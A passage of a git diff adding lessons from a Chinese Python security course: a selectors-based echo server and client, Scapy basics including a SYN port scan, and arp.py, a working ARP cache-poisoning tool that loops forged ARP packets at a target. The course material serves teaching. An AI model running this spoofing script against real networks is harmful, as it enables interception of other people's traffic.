+ print(e) + sys.exit() + finally: + s.close() + + +if __name__ == '__main__': + s = server('',8800) + s.start() +``` + +上面的代码和3.1,3.2节略有差异,基本的socket初始化、绑定、监听都是一致的,不再重复讲解。注意代码中四处添加注释的地方: + +1. +```Python +import selectors#导入selectors模块 +``` +导入selectors模块 + +2. +```Python +self.selector = selectors.DefaultSelector()#初始化selector +``` +初始化selector有多种方法,我们选择最简单的一种方案,直接调用DefaultSelector()方法。 + +3. +```Python +s.setblocking(False) # 非阻塞 +``` +这一步很关键,调用之后,socket调用将不再阻塞当前程序。 + +4. + +```Python + self.selector.register(s,selectors.EVENT_READ,data=None)#注册I/O对象 +``` +注册s到selector中,监听事件为selectors.EVENT_READ,通过监听该事件,服务端socket接收到新连接请求会被selector捕获到。data参数用来存储socket中的数据,当 select() 返回的时候它也会被返回。我们将使用 data 来跟踪 socket 上发送或者接收的数据。 + +监听数据收发,需要建立一个while...true循环,不停的询问各个连接的状态,目前我们只注册了一个服务端socket,下面我们在循环中获取新的客户端连接并注册到selector中。继续完善start方法: + +```Python + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待监听:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + while True: + events = self.selector.select(timeout=None)#阻塞调用,等待新的读/写事件 + for key, mask in events: + if key.data is None:#新的连接请求 + self.accept_wrapper(key.fileobj) + else:#收到客户端连接发送的数据 + self.service_connection(key, mask) + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + def accept_wrapper(self,sock): + pass + + def service_connection(self,key, mask): + pass +``` +sel.select(timeout=None) 调用会阻塞直到新的消息进来。它返回一个(key, events) 元组,每个 socket 一个。key 就是一个包含 fileobj 属性的具名元组。key.fileobj 是一个 socket 对象,mask 表示一个操作就绪的事件掩码。 + +如果key.data为空,我们就可以知道它来自于监听服务端的socket(代码中的s),我们需要调用 accept()方法来授受连接请求。这里我们将定义一个新的accept_wrapper方法来处理请求并注册到selector中。 +如果key.data不为空,那它一定是一个已经被接收的客户端socket,我们定义一个新的service_connection(key, mask)方法来处理收据的收发。 + +accept_wrapper()方法内容如下: + +```Python +def accept_wrapper(self,sock): + conn, addr = sock.accept() # Should be ready to read + print('接收客户端连接', addr) + conn.setblocking(False) #非阻塞 + data = types.SimpleNamespace(addr=addr, inb=b'', outb=b'')#socket数据 + events = selectors.EVENT_READ | selectors.EVENT_WRITE #监听读写 + self.selector.register(conn, events, data=data)#注册客户端socket +``` + +上面的代码中,我们调用types.SimpleNamespace来创建一个动态对象,保存我们需要的信息,这里定义了addr(ip地址)、inb(传入数据)、outb(传出数据)三个字段。接下来注册的事件选择读和写,可以在循环中获取连接的可读、可写状态。 + +下面我们来看一下service_connection方法的内部逻辑: + +```Python +def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) # 接收数据 + if recv_data: + data.outb += recv_data + else:#客户端断开连接 + print('closing connection to', data.addr) + self.selector.unregister(sock)#取消注册,防止出错 + sock.close() + if mask & selectors.EVENT_WRITE: + if data.outb: + print('echoing', repr(data.outb), 'to', data.addr) + sent = sock.send(data.outb) + data.outb = data.outb[sent:] #情况缓存数据 +``` +这里是多连接服务端的核心部分,key是select()方法返回的一个元组,它包含了socket对象「fileobj」和数据对象;mask包含了获取状态的类型。 +```Python +if mask & selectors.EVENT_READ +``` + +如果socket就绪而且可以被读取,mask & selectors.EVENT_READ 就为真,就调用sock.recv()接收客户端发送过来的数据。所有读取到的数据都会被追加到data.outb里面,作为测试data.outb随后被发送回客户端。如果没有接收到数据,证明客户端已经断开连接,这里除了要调用sock.close()关闭连接之外,还要调用selector.unregister方法进行注销。 + +随后,判断当前socket处于可写状态的话,就会调用sock.send发送数据,发送之后清空缓存数据。 + +服务端程序基本完成,下面继续编写客户端程序。 + +### 3.3.2 客户端编程 + +新建client.py 文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +# 测试类 + + +class Client: + def __init__(self, host, port, numConn): + self.host = host # 待连接的远程主机的域名 + self.port = port + self.message = [b'message 1 from client', b'message 1 from client'] + self.numConn = numConn + self.selector = selectors.DefaultSelector() + + def connet(self): # 连接方法 + server_addr = (self.host, self.port) + for i in range(0, self.numConn): + connid = i + 1 + print('开始连接', connid, '到', server_addr) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setblocking(False) + sock.connect_ex(server_addr)#连接服务端 + events = selectors.EVENT_READ | selectors.EVENT_WRITE + data = types.SimpleNamespace(connid=connid, + msg_total=sum(len(m) for m in self.message), + recv_total=0, + messages=list(self.message), + outb=b'') + self.selector.register(sock, events, data=data) + + try: + while True: + events = self.selector.select(timeout=1) + if events: + for key, mask in events: + self.service_connection(key, mask) + + finally: + self.selector.close() + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) + if recv_data: + print("收到", repr(recv_data), "来自连接", data.connid) + data.recv_total += len(recv_data) + if not recv_data or data.recv_total == data.msg_total:#根据接收数据的长度,判断是否关闭客户端 + print("关闭连接:", data.connid) + self.selector.unregister(sock) + sock.close() + if mask & selectors.EVENT_WRITE: + if not data.outb and data.messages: + data.outb = data.messages.pop(0) + if data.outb: + print("发送", repr(data.outb), "到连接", data.connid) + sent = sock.send(data.outb) #发送数据 + data.outb = data.outb[sent:]#清空数据 + + + +if __name__ == '__main__': + cl = Client('127.0.0.1', 8800, 5) + cl.connet() +``` +客户端代码涉及到的知识点和和服务端基本相同。在连接服务端的时候,由于connect()方法会立即触发一个 BlockingIOError异常,所以我们使用connect_ex()方法取代它。connect_ex()会返回一个错误指示 errno.EINPROGRESS,不像connect()方法直接在进程中返回异常。一旦连接成功socket就可以进行读写并且通过select()方法返回。 + +在service_connection方法中客户端会跟踪从服务器接收的字节数,根据结果来决定是否关闭socket连接。 + +### 3.3.3 测试服务端和客户端 + +下面我首先启动服务端: + +![](img/1.png) + +再启动客户端: + +![](img/2.png) + +对应的服务端打印数据为: + +![](img/3.png) + +### 3.3.4 还有哪些问题需要解决? + +当使用 TCP 连接时,会从一个连续的字节流读取的数据,好比从磁盘上读取数据,不同的是你是从网络读取字节流。然而,和使用 f.seek() 读文件不同,没法定位 socket 的数据流的位置,如果可以像文件一样定位数据流的位置(使用下标),那你就可以随意的读取你想要的数据。当字节流入你的 socket 时,会需要有不同的网络缓冲区,如果想读取他们就必须先保存到其它地方,使用 recv() 方法持续的从 socket 上读取可用的字节流相当于从 socket 中读取的是一块一块的数据,你必须使用 recv() 方法不断的从缓冲区中读取数据,直到你的应用确定读取到了足够的数据。 + +什么时候算“足够”这取决于你的定义,就 TCP socket 而言,它只通过网络发送或接收原始字节,它并不了解这些原始字节的含义。 + +这可以让我们定义一个应用层协议,来解决这个问题,类似于HTTP协议。简单来说,你的应用会发送或者接收消息,这些消息其实就是你的应用程序的协议。这些消息的长度、格式可以定义应用程序的语义和行为,这和我们之前说的从socket 中读取字节部分内容相关,当你使用 recv() 来读取字节的时候,你需要知道读的字节数,并且决定什么时候算读取完成。这些都是怎么完成的呢?在每条消息前面追加一个头信息,头信息中包括消息的长度和其它我们需要的字段。这样做的话我们只需要追踪头信息,当我们读到头信息时,就可以查到消息的长度并且读出所有字节。 + + +让我们来定义一个完整的协议头: + +1. 可变长度的文本 +2. 基于 UTF-8 编码的 Unicode 字符集 +3. 使用 JSON 序列化的一个 Python 字典 + +其中必须具有的头应该有以下几个: + +![](img/4.png) + +这些头信息告诉接收者消息数据,这样的话你就可以通过提供给接收者足够的信息让他接收到数据的时候正确的解码的方式向它发送任何数据,由于头信息是字典格式,你可以随意向头信息中添加键值对。 + +不过还有一个问题,由于我们使用了变长的头信息,虽然方便扩展但是当你使用 recv() 方法读取消息的时候怎么知道头信息的长度呢? + +我们前面讲到过使用 recv() 接收数据和如何确定是否接收完成,我说过定长的头可能会很低效,的确如此。但是我们将使用一个比较小的 2 字节定长的头信息前缀来表示头信息的长度。 +为了给你更好地解释消息格式,让我们来看看消息的全貌: + +![](img/5.png) + +消息以 2字节的固定长度的头开始,这两个字节是整型的网络字节序列,表示下面的变长 JSON 头信息的长度,当我们从 recv() 方法读取到 2 个字节时就知道它表示的是头信息长度的整形数字,然后在解码 JSON 头之前读取固定长度的字节数。JSON 头包含了头信息的字典。其中一个就是 content-length,这表示消息内容的数量(不是JSON头),当我们使用 recv() 方法读取到了 content-length 个字节的数据时,就表示接收完成并且读取到了完整的消息。 + +另外数据传输还涉及大小端的问题,不同的CPU架构处理网络传输数据的字节顺序是不一样的,下面引用维基百科的解释: +``` +字节顺序,又称端序或尾序(英语:Endianness),在计算机科学领域中,指存储器中或在数字通信链路中,组成多字节的字的字节的排列顺序。 + +在几乎所有的机器上,多字节对象都被存储为连续的字节序列。例如在C语言中,一个类型为int的变量x地址为0x100,那么其对应地址表达式&x的值为0x100。且x的四个字节将被存储在存储器的0x100, 0x101, 0x102, 0x103位置。[1] + +字节的排列方式有两个通用规则。例如,一个多位的整数,按照存储地址从低到高排序的字节中,如果该整数的最低有效字节(类似于最低有效位)在最高有效字节的前面,则称大端序;反之则称小端序。在网络应用中,字节序是一个必须被考虑的因素,因为不同机器类型可能采用不同标准的字节序,所以均按照网络标准转化。 + +例如假设上述变量x类型为int,位于地址0x100处,它的值为0x01234567,地址范围为0x100~0x103字节,其内部排列顺序依赖于机器的类型。大端法从首位开始将是:0x100: 01, 0x101: 23,..。而小端法将是:0x100: 67, 0x101: 45,.. +``` + +在小端机器上执行 +``` +$ python3 -c 'import sys; print(repr(sys.byteorder))' +'little' +``` +可以得到’little'的结果。如果我把这段代码跑在可以模拟大字节序 CPU「PowerPC」的虚拟机上的话,应该是下面的结果: +``` +$ python3 -c 'import sys; print(repr(sys.byteorder))' +'big' +``` +如果不想处理字节序的问题,可以通过传输unicode编码的数据来规避,比如我们使用的UTF-8编码。 + +### 3.3.5 小结 + +本节学习了基于selectors模块,结合while...true实现事件循环,最终实现多连接非阻塞的客户端/服务端程序的编写。对于TCP数据传输“粘包”的问题没有给出代码实现,但是给出了自定义协议的解决方案。本节的作业如下: + +1. 将自定义协议的方案整合到客户端和服务端中,实现发送任意长度的数据 + +下一节我们学习网络工具包Scapy的基本使用。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) diff --git a/3.3.pdf b/3.3.pdf new file mode 100644 index 0000000..6c84c0e Binary files /dev/null and b/3.3.pdf differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" "b/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" new file mode 100644 index 0000000..a2f6a3d Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" "b/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" new file mode 100644 index 0000000..8020e8f --- /dev/null +++ "b/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" @@ -0,0 +1,149 @@ +## 3.4 Scapy基础 + +Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作,比如端口扫描,tracerouting,探测,单元 测试,攻击或网络发现(可替代hping,NMAP,arpspoof,ARP-SK,arping,tcpdump,tethereal,P0F等)。 最重要的他还有很多更优秀的特性——发送无效数据帧、注入修改的802.11数据帧、在WEP上解码加密通道(VOIP)、ARP缓存攻击(VLAN)等,这也是其他工具无法处理完成的。 + +本章的大部分工具开发都是基于Scapy来开发的,所以各位同学务必熟悉Scapy的基本使用方法。 + +Scapy可以通过命令行和Python调用两种方式来进行使用。在使用之前请确保已经安装Scapy。 + +### 3.4.1 Scapy安装 + +通过命令 + +```shell +pip3 install scapy +``` +来安装scapy。 + +![](img/1.png) + +安装之后可以在终端启动。因为发送数据包需要root权限,所以使用sudo启动。 + +![](img/2.png) + +注意上图中的INFO信息,如果没有安装可选包,部分功能不可用,在需要的时候单独安装即可。 + +### 3.4.2 基本命令 + +ls()显示scapy支持的所有协议。 + +![](img/3.png) + +这个命令足以体现Scapy的强大,上百种网络协议,直接秒杀其他工具。ls()函数的参数还可以是上面支持的协议中的任意一个的类型属性,也可以是任何一个具体的数据包,如ls(TCP),ls(newpacket)等。输入ls(TCP)会显示TCP方法构造对象的内容属性。 + +![](img/4.png) + +lsc()列出scapy支持的所有的命令。 + +![](img/5.png) + +help()显示某一命令的使用帮助,如help(sniff)。 + +![](img/6.png) + +show()显示指定数据包的详细信息。例如,这里我们先创建一个IP数据包,然后调用show方法。 + +![](img/7.png) + +### 3.4.3 综合练习 + +下面我们通过几个小例子,来加深对Scapy的理解。 + +我们可以使用Scapy来构造从数据链路层到应用层的任一层的数据包,需要各位同学参考不同协议的报文格式来练习。下面我构造一个IP数据包,先使用ls命令显示IP命令的参数。 + +![](img/8.png) + +每个字段是和IP协议一一对应的如下图: + +![](img/9.png) + +构造其他协议的数据包类似,只需要传入我们想要设置的值就可以了,返回的数据包对象可以再次修改。例如: + +![](img/10.png) + + +因为网络数据包是层层包裹的,根据情况需要,也需要我们构建不同层的数据报文然后组合起来发送出去。使用"/"可以组合不同层的报文。 比如下面wireshark捕获的一个https报文: + +![](img/11.png) + +如果想从数据链路层将数据发送出去,就需要构造以太网帧数据,IP数据报文和TCP报文,并将三者组合起来发送出去。看下面的示例: + +![](img/12.png) +上图中我们使用了hexdump()函数, 使用hexdump()函数会以经典的hexdump格式输出数据包。 + +发送数据包可以使用的方法有两个send()和sendp()。send()函数将会在第3层发送数据包,也就是说它会为你处理路由和第2层的数据。sendp()函数将会工作在第2层。我们可以根据实际情况来决定使用哪个方法来发送数据。使用方法如下: + +![](img/13.png) + +如果想要发送数据之后等待响应,可以使用sr()、sr1()或者srp()方法。sr()函数是用来发送数据包和接收应答。该函数返回一对数据包及其应答,还有无应答的数据包。sr1()函数是一种变体,用来返回一个应答数据包。发送的数据包必须是第3层报文(IP,ARP等)。srp()则是使用第2层报文(以太网,802.3等)。下面发送一个DNS查询的报文出去,接收查询结果。 + +![](img/14.png) + +注意上图中我们使用了DNS()方法帮助构造应用层(DNS)的报文内容。 + +实际上接收的数据返回两个列表,第一个就是发送的数据包及其应答组成的列表,第二个是无应答数据包组成的列表。为了更好地呈现它们,它们被封装成一个对象,并且提供了一些便于操作的方法。 下面我们实现一个简单的SYN端口扫描: + +![](img/15.png) + +通常我们需要将数据包文件导出为pcap文件备用,需要的时候再导入,方法如下: + +![](img/16.png) + +使用str()函数可以将整个数据包转换成十六进制字符串: + +![](img/17.png) + +使用export_object()函数,Scapy可以数据包转换成base64编码的Python数据结构: + +![](img/18.png) + +除此之外,如果您已经安装PyX,您可以做一个数据包的图形PostScript/ PDF转储,完整的输出命令列表如下: + +![](img/19.png) + +输出pdf示例如下: + +![](img/20.png) + +### 3.4.4 在Python中使用Scapy + +在Python中调用Scapy很简单,只需要导入模块即可。 + +新建useScapy.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import sys +from scapy.all import * + +p=sr1(IP(dst='192.168.1.1')/ICMP()) +if p: + p.show() +``` + +结果如下: + +![](img/21.png) + +### 3.4.5 小结 + +本节作为后面几个小节的前置知识,介绍了Scapy工具包的基本使用,更多的功能会在后面的章节继续介绍,同时建议各位同学阅读官方文档,全面了解。本节作业如下: + +1. 安装Scapy +2. 属性基本的命令操作 +3. 在Python中进行调用,实现ARP数据包的发送 + + +下一节我们下沉到网络接口层,实现ARP欺骗工具。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) \ No newline at end of file diff --git "a/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" "b/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" new file mode 100644 index 0000000..38aacaf --- /dev/null +++ "b/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" @@ -0,0 +1,10 @@ +# -*- coding: UTF-8 -*- + +import sys +from scapy.all import * + +p=sr1(IP(dst='192.168.1.1')/ICMP()) +if p: + p.show() + + diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" "b/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" "b/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/1.png" "b/3.4 Scapy\345\237\272\347\241\200/img/1.png" new file mode 100644 index 0000000..4125e38 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/1.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/10.png" "b/3.4 Scapy\345\237\272\347\241\200/img/10.png" new file mode 100644 index 0000000..7505bfd Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/10.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/11.png" "b/3.4 Scapy\345\237\272\347\241\200/img/11.png" new file mode 100644 index 0000000..f0b9ea0 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/11.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/12.png" "b/3.4 Scapy\345\237\272\347\241\200/img/12.png" new file mode 100644 index 0000000..25bd5c8 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/12.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/13.png" "b/3.4 Scapy\345\237\272\347\241\200/img/13.png" new file mode 100644 index 0000000..3eea794 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/13.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/14.png" "b/3.4 Scapy\345\237\272\347\241\200/img/14.png" new file mode 100644 index 0000000..a3ff851 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/14.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/15.png" "b/3.4 Scapy\345\237\272\347\241\200/img/15.png" new file mode 100644 index 0000000..de19856 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/15.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/16.png" "b/3.4 Scapy\345\237\272\347\241\200/img/16.png" new file mode 100644 index 0000000..25a08ba Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/16.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/17.png" "b/3.4 Scapy\345\237\272\347\241\200/img/17.png" new file mode 100644 index 0000000..8ce84ac Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/17.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/18.png" "b/3.4 Scapy\345\237\272\347\241\200/img/18.png" new file mode 100644 index 0000000..62f3289 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/18.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/19.png" "b/3.4 Scapy\345\237\272\347\241\200/img/19.png" new file mode 100644 index 0000000..6875909 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/19.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/2.png" "b/3.4 Scapy\345\237\272\347\241\200/img/2.png" new file mode 100644 index 0000000..a47a677 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/2.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/20.png" "b/3.4 Scapy\345\237\272\347\241\200/img/20.png" new file mode 100644 index 0000000..667007e Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/20.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/21.png" "b/3.4 Scapy\345\237\272\347\241\200/img/21.png" new file mode 100644 index 0000000..d7d4dee Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/21.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/3.png" "b/3.4 Scapy\345\237\272\347\241\200/img/3.png" new file mode 100644 index 0000000..ca4095b Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/3.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/4.png" "b/3.4 Scapy\345\237\272\347\241\200/img/4.png" new file mode 100644 index 0000000..2278dac Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/4.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/5.png" "b/3.4 Scapy\345\237\272\347\241\200/img/5.png" new file mode 100644 index 0000000..dee2f08 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/5.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/6.png" "b/3.4 Scapy\345\237\272\347\241\200/img/6.png" new file mode 100644 index 0000000..0115693 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/6.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/7.png" "b/3.4 Scapy\345\237\272\347\241\200/img/7.png" new file mode 100644 index 0000000..ca7df56 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/7.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/8.png" "b/3.4 Scapy\345\237\272\347\241\200/img/8.png" new file mode 100644 index 0000000..7de98a7 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/8.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/9.png" "b/3.4 Scapy\345\237\272\347\241\200/img/9.png" new file mode 100644 index 0000000..a001940 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/9.png" differ diff --git a/3.4.pdf b/3.4.pdf new file mode 100644 index 0000000..a2f6a3d Binary files /dev/null and b/3.4.pdf differ diff --git "a/3.5 ARP\346\254\272\351\252\227/3.5.pdf" "b/3.5 ARP\346\254\272\351\252\227/3.5.pdf" new file mode 100644 index 0000000..da493ec Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/3.5.pdf" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/code/arp.py" "b/3.5 ARP\346\254\272\351\252\227/code/arp.py" new file mode 100644 index 0000000..a93186f --- /dev/null +++ "b/3.5 ARP\346\254\272\351\252\227/code/arp.py" @@ -0,0 +1,77 @@ +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + print + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + mac = get_if_hwaddr(options.interface) + print('本机mac地址是%s' %mac) + + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt + + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt + + while True:#发送 + sendp(pkt, inter=2, iface=options.interface) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git "a/3.5 ARP\346\254\272\351\252\227/img/0.jpg" "b/3.5 ARP\346\254\272\351\252\227/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/0.jpg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" "b/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/1.jpg" "b/3.5 ARP\346\254\272\351\252\227/img/1.jpg" new file mode 100644 index 0000000..48c1677 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/1.jpg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/10.png" "b/3.5 ARP\346\254\272\351\252\227/img/10.png" new file mode 100644 index 0000000..b5ab954 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/10.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/11.png" "b/3.5 ARP\346\254\272\351\252\227/img/11.png" new file mode 100644 index 0000000..0abea32 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/11.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/12.png" "b/3.5 ARP\346\254\272\351\252\227/img/12.png" new file mode 100644 index 0000000..e4fd1fe Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/12.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/13.png" "b/3.5 ARP\346\254\272\351\252\227/img/13.png" new file mode 100644 index 0000000..fdc504f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/13.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/14.png" "b/3.5 ARP\346\254\272\351\252\227/img/14.png" new file mode 100644 index 0000000..5b2a33f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/14.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/15.png" "b/3.5 ARP\346\254\272\351\252\227/img/15.png" new file mode 100644 index 0000000..b368345 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/15.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/16.png" "b/3.5 ARP\346\254\272\351\252\227/img/16.png" new file mode 100644 index 0000000..3a6580c Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/16.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/17.png" "b/3.5 ARP\346\254\272\351\252\227/img/17.png" new file mode 100644 index 0000000..1508666 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/17.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/18.png" "b/3.5 ARP\346\254\272\351\252\227/img/18.png" new file mode 100644 index 0000000..86c29be Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/18.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/19.png" "b/3.5 ARP\346\254\272\351\252\227/img/19.png" new file mode 100644 index 0000000..833b9d8 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/19.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/2.png" "b/3.5 ARP\346\254\272\351\252\227/img/2.png" new file mode 100644 index 0000000..5540aea Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/2.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/3.png" "b/3.5 ARP\346\254\272\351\252\227/img/3.png" new file mode 100644 index 0000000..72d6868 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/3.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/4.png" "b/3.5 ARP\346\254\272\351\252\227/img/4.png" new file mode 100644 index 0000000..ee5587f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/4.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/5.png" "b/3.5 ARP\346\254\272\351\252\227/img/5.png" new file mode 100644 index 0000000..35f0d25 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/5.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/6.png" "b/3.5 ARP\346\254\272\351\252\227/img/6.png" new file mode 100644 index 0000000..2ea6115 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/6.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/7.png" "b/3.5 ARP\346\254\272\351\252\227/img/7.png" new file mode 100644 index 0000000..a0d1e1f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/7.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/8.png" "b/3.5 